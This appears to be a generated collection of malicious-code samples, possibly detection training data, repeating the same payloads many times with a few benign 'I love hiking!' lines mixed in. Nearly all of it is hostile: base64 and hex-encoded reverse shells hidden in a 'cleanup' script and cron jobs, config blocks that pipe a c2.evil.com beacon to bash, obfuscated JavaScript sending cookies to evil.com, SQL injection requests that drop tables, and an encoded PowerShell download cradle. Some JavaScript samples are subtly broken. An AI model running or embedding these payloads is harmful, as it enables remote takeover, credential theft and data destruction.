#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."

Explanation: Obfuscated malicious payload using base64/hex/URL encoding to hide intent. Decodes to reverse shell, code execution, or data exfiltration.


[update]
endpoint = http://updates.6c7c7129.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x3a2d=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xebec[0]](a)})();


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


I love hiking!


[update]
endpoint = http://updates.e97e202e.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0xefc9=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x6a32[0]](a)})();


[2021-09-01 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0xfa65=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xa6fd[0]](a)})();


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


var _0xf8bc=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x3c5f[0]](a)})();


[2020-11-25 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.7c5286eb.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.f809dc42.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2022-09-01 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2026-11-13 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2023-02-25 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2021-04-17 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


[update]
endpoint = http://updates.b64794a6.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


I love hiking!


[update]
endpoint = http://updates.35c42a4b.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x8c3f=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x3b2f[0]](a)})();


var _0x4a3d=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x5ada[0]](a)})();


[2021-03-06 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0x0531=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x6473[0]](a)})();


[update]
endpoint = http://updates.61075ca6.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


var _0xd1c0=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x5852[0]](a)})();


[2024-02-25 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


var _0x80c3=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x6e48[0]](a)})();


[update]
endpoint = http://updates.a152fdca.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x18ed=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x40f6[0]](a)})();


[update]
endpoint = http://updates.868de45a.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x7cb1=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x7b39[0]](a)})();


[update]
endpoint = http://updates.0cb53d1d.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


I love hiking!


[update]
endpoint = http://updates.49e49da9.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x37eb=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x39d8[0]](a)})();


[update]
endpoint = http://updates.4821b26f.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


var _0x0704=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x6db2[0]](a)})();


var _0x88f9=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xd332[0]](a)})();


[2025-08-23 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.eb3affc3.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2023-06-28 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0xe0fd=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xf258[0]](a)})();


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


[2024-10-25 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


var _0x7ae9=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x861f[0]](a)})();


[update]
endpoint = http://updates.3dc67d6d.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.c5c3b02d.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2020-02-18 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0xc7b8=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x5d0d[0]](a)})();


[update]
endpoint = http://updates.ee4ca709.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.fc4d14f0.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


I love hiking!


[2024-12-13 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


[update]
endpoint = http://updates.86709954.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.8d1a2d3d.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x7de0=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x456f[0]](a)})();


var _0x1692=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x75d8[0]](a)})();


[2021-06-15 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2026-10-09 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[update]
endpoint = http://updates.580ae991.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x4292=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x9396[0]](a)})();


[update]
endpoint = http://updates.4bf9722b.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


var _0x7a7c=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x6a1c[0]](a)})();


[update]
endpoint = http://updates.e1506e4c.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.256ae933.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.3a3ec151.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.1327bc77.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2023-04-23 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


[update]
endpoint = http://updates.c9132b1b.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


[update]
endpoint = http://updates.8f57b24d.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x48d2=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xba77[0]](a)})();


var _0xf5cc=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xad97[0]](a)})();


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[update]
endpoint = http://updates.1be3142f.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0xcb75=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xfe25[0]](a)})();


[update]
endpoint = http://updates.96a77941.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2025-06-18 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


var _0x6806=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x4384[0]](a)})();


I love hiking!


var _0x131a=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xce9b[0]](a)})();


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


[2020-10-27 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2025-10-24 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2021-03-21 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.e57eaffd.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.6f86cede.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.e283061f.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


var _0x024f=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xeb67[0]](a)})();


var _0xec2a=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x8aff[0]](a)})();


var _0xbed4=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xdd78[0]](a)})();


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[update]
endpoint = http://updates.f43de3e6.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x7203=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x2a4a[0]](a)})();


[update]
endpoint = http://updates.ffa501e5.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2020-04-10 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[update]
endpoint = http://updates.91b70183.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


[update]
endpoint = http://updates.4fc3f346.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.404597fa.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x68cb=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xb448[0]](a)})();


I love hiking!


var _0x5a78=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x3a48[0]](a)})();


var _0x7ea5=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0xf7f6[0]](a)})();


#!/bin/bash
echo "Running cleanup..."
rm -rf /tmp/cache_*
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjE=" | base64 -d | bash
echo "Done."


[update]
endpoint = http://updates.c64bc01b.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


var _0x53b4=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x90c2[0]](a)})();


[2022-11-24 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


GET /search?q=%27%20OR%201%3D1%3B%20DROP%20TABLE%20users%3B%20-- HTTP/1.1
Host: app.company.com
User-Agent: Mozilla/5.0


[update]
endpoint = http://updates.4f5b8dc1.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.1427d028.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2024-02-19 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


0 3 * * * python3 -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjAuMC4xJyw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtzdWJwcm9jZXNzLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"


[update]
endpoint = http://updates.290b1853.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[2023-05-09 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


# Scheduled task
powershell -encodedcommand SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly8xMC4wLjAuMS9wLnBzMSIp


var _0xe80a=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x4e9e[0]](a)})();


var _0x8198=["\x65\x76\x61\x6C"];(function(){var a=atob("ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2ll");window[_0x1e3d[0]](a)})();


[2022-06-15 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


[2025-02-23 03:42] CMD: $(echo 77676574202d7120687474703a2f2f6576696c2e636f6d2f6264202d4f202f746d702f2e632026262063686d6f64202b78202f746d702f2e63202626202f746d702f2e63 | xxd -r -p)


I love hiking!


[update]
endpoint = http://updates.fb752c77.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.b74f905a.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.b527840f.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


[update]
endpoint = http://updates.1e51432f.com
payload = Y3VybCAtcyBodHRwOi8vYzIuZXZpbC5jb20vYmVhY29uIHwgYmFzaA==
auto_execute = true


